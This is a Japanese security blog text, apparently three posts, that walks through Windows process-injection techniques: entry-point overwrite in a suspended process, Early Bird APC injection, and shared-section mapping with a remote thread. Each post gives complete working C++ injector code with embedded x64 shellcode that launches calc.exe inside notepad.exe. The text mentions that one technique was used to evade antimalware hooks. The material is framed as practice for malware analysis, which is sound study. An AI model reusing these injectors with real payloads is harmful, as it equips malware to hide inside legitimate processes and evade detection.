PEファイルフォーマットはWindowsのローダが認識してくれる実行可能ファイルの主流フォーマットである。 AddressOfEntryPointは実行可能ファイルの実行開始位置のアドレスであり、RVAであらわされる。RVAはファイル内オフセットと同義であり、また実際のアドレスからイメージのロードアドレスを引いた値のことである。したがって実際のエントリポイントのアドレスは、イメージファイルが仮想メモリにロードされるアドレスであるImageBaseにAddressOfEntryPointを加算することで得られる。
AddressOfEntryPointはOptional headersに含まれ、Optional headersはDos Headerのe_lfanewが指す。
PEファイルフォーマットは以下の資料が理解の補助になるだろう。
http://www.openrce.org/reference_library/files/reference/PE%20Format.pdf
本手法の概要
本手法の流れは大まかに次のようになる。
- ターゲットプロセスをCREATE_SUSPENDで新規作成。
- ターゲットプロセスのPEBからImageBaseを取得する。
- ターゲットプロセスからAddressOfEntryPointを取得する。
- 仮想アドレス(AddressOfEntryPoint+ImageBase)へシェルコードを書き込む。
- ターゲットプロセスを再開させることでシェルコードが実行される。
CreateProcess関数にCREATE_SUSPENDフラグを付与してプロセスを新規作成することで、作成されたプロセスはエントリーポイントのずっと手前で停止する。
イメージファイルはWindowsローダーによって仮想メモリにロード、実行される。 仮想メモリのどこにロードされるかはローダーによって決められる。 PEファイルフォーマットではイメージファイル内にImageBaseというエントリがあり、例えば0x00400000や0x10000000などがデフォルトで指定される。もしこのアドレスへのロードに失敗した場合は、別のアドレスにロードされることとなりベース再配置処理などを行う必要がある。
実際にイメージファイルが仮想メモリのどこにロードされたかはPEB(Process Environment Block)から求めることができる。 詳細は省くが64bitアプリケーションの場合、PEBのベースアドレスからオフセット+0x10の位置にImageBaseが格納されている。
この部分の詳しい解説は以下の記事を参考にしてほしい。
コード
以下がAddressOfEntryPoint利用によるCode Injectionを実装したコードとなる。
#include <windows.h> #include <winternl.h> // PROCESS_BASIC_INFORMATION #include <cstdlib> // pause() #include<stdio.h> #pragma comment(lib, "ntdll") int main() { unsigned char shellcode[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("ProcessId:%d\n", pProcessInfo->dwProcessId); // find remote PEB PROCESS_BASIC_INFORMATION* pBasicInfo = new PROCESS_BASIC_INFORMATION(); // get PROCESS_BASIC_INFORMATION NtQueryInformationProcess(pProcessInfo->hProcess, ProcessBasicInformation, pBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL); // get ImageBase offset address from the PEB DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10; printf("PebBaseAddress:%p\n", pBasicInfo->PebBaseAddress); // get ImageBase DWORD64 ImageBase = 0; SIZE_T ReadSize = 8; SIZE_T bytesRead = NULL; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead); printf("ImageBase:%p\n", ImageBase); // read target process image headers BYTE headersBuffer[4096] = {}; ReadProcessMemory(pProcessInfo->hProcess, (LPCVOID)ImageBase, headersBuffer, 4096, NULL); // get AddressOfEntryPoint PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)headersBuffer; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer + dosHeader->e_lfanew); LPVOID codeEntry = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD64)ImageBase); printf("codeEntry:%p\n", codeEntry); // write shellcode to image entry point and execute it WriteProcessMemory(pProcessInfo->hProcess, (LPVOID)codeEntry, shellcode, sizeof(shellcode), NULL); ResumeThread(pProcessInfo->hThread); system("PAUSE"); TerminateProcess(pProcessInfo->hProcess, NULL); }
デモ
実際に動作させてみる。 まず次のようにコードで取得したnotepad.exeのImageBaseと、Process HackerによるImageBaseが一致することがわかる。
続いてAddressOfEntryPointがNikPEViewerによるものと一致することがわかる。
最後に電卓が起動して理論通り動作していることが確かめられた。
参考サイト
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる。
APCを使ったcode injection手法はEarly Bird Injectionと呼ばれることがある。これはターゲットプロセスのプロセス作成ルーチンの早い段階、すなわちメインスレッドが開始される前に、攻撃者が悪意あるコードを挿入、実行できることから来ている。このテクニックが公開された当初は、この仕組みによりマルウェア対策製品で使用されるWindowsフックエンジンによる検出を回避できる可能性があった。
APCとは
Windowsは非同期プロシージャ呼び出し(APC, Asynchronous Procedure Call)を実装している。 APCはAPCオブジェクトと呼ばれるカーネル制御オブジェクトによって表される。実行待ちのAPCはカーネルが管理するAPCキューに追加される。 システム共有のDPCキューと異なり、APCキューはスレッドごとに用意、管理される。 APCを使うことで、ユーザーは特定のスレッドのコンテキストで非同期的にコードを実行できる。
コールバック関数として設定された関数は、スレッドがアラート可能状態になると、先入れ先出しの順序で実行される。実行中の全てのスレッドには独自のAPCキューがあり、WinAPIのQueueUserAPC関数にてこのキューにコールバック関数を追加できる。
Early Bird Injectionの概要
Early Bird InjectionではこのAPCを悪用する、特定のプロセスのアドレス空間に悪意あるコードをAPCキューとして配置する。 APCが呼び出されると悪意あるコードがターゲットプロセス内のスレッドで実行される。
以降では、悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。
電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
コード
以下がEarly Bird Injectionを実装したコードとなる。
#include <Windows.h> #include<stdio.h> int main() { printf("Start APC queue code injection\n"); // 64bit calc.exe unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; SIZE_T shellSize = sizeof(buf); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("Create target process\n"); LPVOID shellAddress = VirtualAllocEx(pProcessInfo->hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; printf("Allocate memory in target process\n"); WriteProcessMemory(pProcessInfo->hProcess, shellAddress, buf, shellSize, NULL); printf("Write shellcode to the allocated memory\n"); QueueUserAPC((PAPCFUNC)apcRoutine, pProcessInfo->hThread, NULL); ResumeThread(pProcessInfo->hThread); printf("Adds a APC object to the APC queue of the target proess's thread.\n"); printf("Complete!\n"); return 0; }
手順は次の通り。
- CREATE_SUSPENDフラグを付与してターゲットとなるプロセスを新規作成。
- ターゲットプロセスにメモリを割り当て、シェルコードを書き込む。
- APCをターゲットプロセスのメインスレッドにキューイング。
- ターゲットプロセスの再開。
デモ
実際にこのコードをコンパイルし実行すると、確かにシェルコードが実行され電卓が起動する。
VirtualAllocExによるメモリが確保されている様子。
WriteProcessMemoryでシェルコードがターゲットプロセス内に書き込まれている様子。
ResumeThreadによりターゲットプロセスが再開され電卓が起動している様子である。
おわりに
今回はQueueUserAPCによるEarly Bird Injectionをやってみた。
複数のプロセスをまたぐマルウェアの解析は厄介だ。 特に今回のようなプロセスがサスペンド状態で作成された場合、プロセス作成ルーチンが終了しておらず、CreateProcessA関数が実行された時点ではデバッガでそのプロセスへアタッチできない。 またプロセスが再開された瞬間にAPCが実行、プロセスが終了するため手動でアタッチすることは困難だ。 これを適切に解析するにはまた別のテクニックが必要となる。 適宜コードを調整するなどして解析の練習などに使用してもらえれば幸いだ。
追記
NtTestAlert関数を使用すれば即座にAPCキューをディスパッチし、コードを実行させることができる。 NtTestAlert関数はAPCキューが空でない場合にKiUserApcDispatcher関数を呼び出す。 KiUserApcDispatcher関数はAPCキューを処理するためにWindowsカーネルによって使用される関数である。KiUserApcDispatcher関数が呼び出されるとAPCキューに配置されたコードを指定されたコンテクストで実行する。
参考サイト
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
NtCreateSectionとNtMapViewOfSectionによるProcess Injectionをやってみる
Process Injectionとは
マルウェアなどが使用する、正当なプロセスに悪意あるコードを注入する手法は一般にProcess Injectionと呼ばれる。 プロセスにコードを注入する方法は数多あるが、今回はNtCreateSection関数とNtMapViewOfSection関数を使った手法を再現してみる。
本手法の概要
injectorプロセス内にセクションを新規作成する。それをメモリマップトファイルとしてマップする。ターゲットプロセスにも同様にこのセクションをマップする。 injectorプロセスがセクションにシェルコードを書き込むことで、ターゲットプロセスにもシェルコードが共有される。 最後にターゲットプロセスに対して、開始アドレスがシェルコードが書き込まれたセクションに指定されたスレッドを新規作成することで、シェルコードがターゲットプロセス内で実行される。
今回は悪意あるシェルコードを内部に持ったinjectorプロセスが新規にメモ帳プロセスを作成し、そのプロセスに対してインジェクションを行うという想定で本手法を再現してみる。 悪意あるシェルコードの代わりとして、ももいろテクノロジーさんの電卓を起動するシェルコードを使用させてもらう。
http://inaz2.hatenablog.com/entry/2015/07/26/175115
プロセス間のデータ共有おさらい
本手法では、プロセス間のデータ共有としてWindowsが持つメモリマップトファイルの機能を使う。
まず前提として、各プロセスは独自のアドレス空間を持つためプロセス間では例えアドレスが同じであっても保持されているデータは同一ではない。
メモリマップトファイルはディスク上のファイルを仮想アドレス空間に配置し、メモリ上のデータが書き換えられたと同時にファイルの内容も書き換えるという機能だ。 このような仮想アドレス空間とファイル内容を相互に反映させるようメモリ上にデータを配置することをマッピングという。 複数のプロセス間で同一のファイルをマッピングすれば、異なるアドレス空間であっても同一のデータ領域を共有することができる。
大まかに次のような手順になる。
- CreateFileMapping関数によってファイルマッピングオブジェクトの作成、そのオブジェクトへのハンドルを取得する。
- 取得したハンドルを元に、MapViewOfFile関数で作成したオブジェクトを仮想アドレス空間にマッピング
- メモリに対して種々の操作
- アンマップ
- ファイルマッピングオブジェクトの削除
ディスク上のファイルを伴わないメモリマップトファイル
メモリマップトファイル機能を使ったプロセス間のデータ共有について大まかにまとめた。 ただし上の手順ではディスク上に実行させたいコードが記述されたファイルを新たに作成する必要があるため攻撃者にとっては具合が悪い。
そこでNtMapViewOfSection関数を使う。 これは名前の通り仮想メモリ上のセクションをマッピングする関数だ。 このセクションオブジェクトを複数のプロセスで共有すれば、マッピングされたセクションオブジェクトは相互に反映される。
コード
上記の流れを踏まえて書いたのが以下のコード。
#include <Windows.h> #include<stdio.h> #pragma comment(lib, "ntdll") typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID; using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL); using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID * BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect); using myRtlCreateUserThread = NTSTATUS(NTAPI*)(IN HANDLE ProcessHandle, IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, IN BOOLEAN CreateSuspended, IN ULONG StackZeroBits, IN OUT PULONG StackReserved, IN OUT PULONG StackCommit, IN PVOID StartAddress, IN PVOID StartParameter OPTIONAL, OUT PHANDLE ThreadHandle, OUT PCLIENT_ID ClientID); int main() { unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection")); myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection")); myRtlCreateUserThread fRtlCreateUserThread = (myRtlCreateUserThread)(GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread")); SIZE_T size = 4096; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, 0, 0, 0, pStartupInfo, pProcessInfo); printf("create process\n"); fNtCreateSection(§ionHandle, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); printf("fNtCreateSection\n"); fNtMapViewOfSection(sectionHandle, GetCurrentProcess(), &localSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_READWRITE); HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pProcessInfo->dwProcessId); fNtMapViewOfSection(sectionHandle, targetHandle, &remoteSectionAddress, NULL, NULL, NULL, &size, 2, NULL, PAGE_EXECUTE_READ); printf("fNtMapViewOfSection\n"); memcpy(localSectionAddress, buf, sizeof(buf)); HANDLE targetThreadHandle = NULL; fRtlCreateUserThread(targetHandle, NULL, FALSE, 0, 0, 0, remoteSectionAddress, NULL, &targetThreadHandle, NULL); printf("complete!\n"); return 0; }
デモ
以下の動画でコードのデモを見ることができる。
— ry0kvn (@ry0kvn) 2020年1月9日
まずプロセスエディタで新規作成されたメモ帳のremoteSectionAddress付近のメモリ内容を表示している。
理論通りならば、次のmemcpy関数によってシェルコードがinjectorプロセスのセクションに書き込まれた瞬間、メモ帳のこのアドレスにもシェルコードが共有されるはずである。 ステップ実行すると確かにシェルコードがメモ帳プロセスの仮想メモリに共有されていることが確認できる。 その後処理を進めることで新規作成したメモ帳でシェルコードが実行され、電卓が起動している。